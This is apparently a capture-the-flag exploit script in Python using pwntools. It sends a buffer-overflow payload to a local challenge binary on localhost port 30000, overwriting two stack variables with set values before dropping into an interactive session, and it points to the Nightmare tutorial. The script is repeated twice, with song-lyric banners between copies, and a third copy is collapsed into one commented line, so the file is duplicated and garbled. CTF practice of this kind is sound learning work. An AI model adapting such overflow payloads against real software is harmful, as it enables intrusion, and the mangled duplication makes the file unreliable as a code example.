# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = remote("localhost", 30000)
# target = process("./chall_00")
# gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x48)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.add_int32(0xc, 0xfacadf)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Unholy Confessions                       |
# +------------------------------------------------+
# | Confided in me was your heart,I know it's hurting you,|
# | but it's killing me                            |
# +------------------------------------------------+

# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *
import time
import sf

target = remote("localhost", 30000)
# target = process("./chall_00")
# gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x48)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.add_int32(0xc, 0xfacadf)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Unholy Confessions                       |
# +------------------------------------------------+
# | Confided in me was your heart,I know it's hurting you,|
# | but it's killing me                            |
# +------------------------------------------------+

# +------------------------------------------------+ # | Atack: Overwrite Variables                     | # +------------------------------------------------+ # # For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable # target = process("./chall_00") # gdb.attach(target) # +------------------------------------------------+ # | Artist: Avenged Sevenfold                      | # +------------------------------------------------+ # | Song: Unholy Confessions                       | # +------------------------------------------------+ # | Confided in me was your heart,I know it's hurting you,| # | but it's killing me                            | # +------------------------------------------------+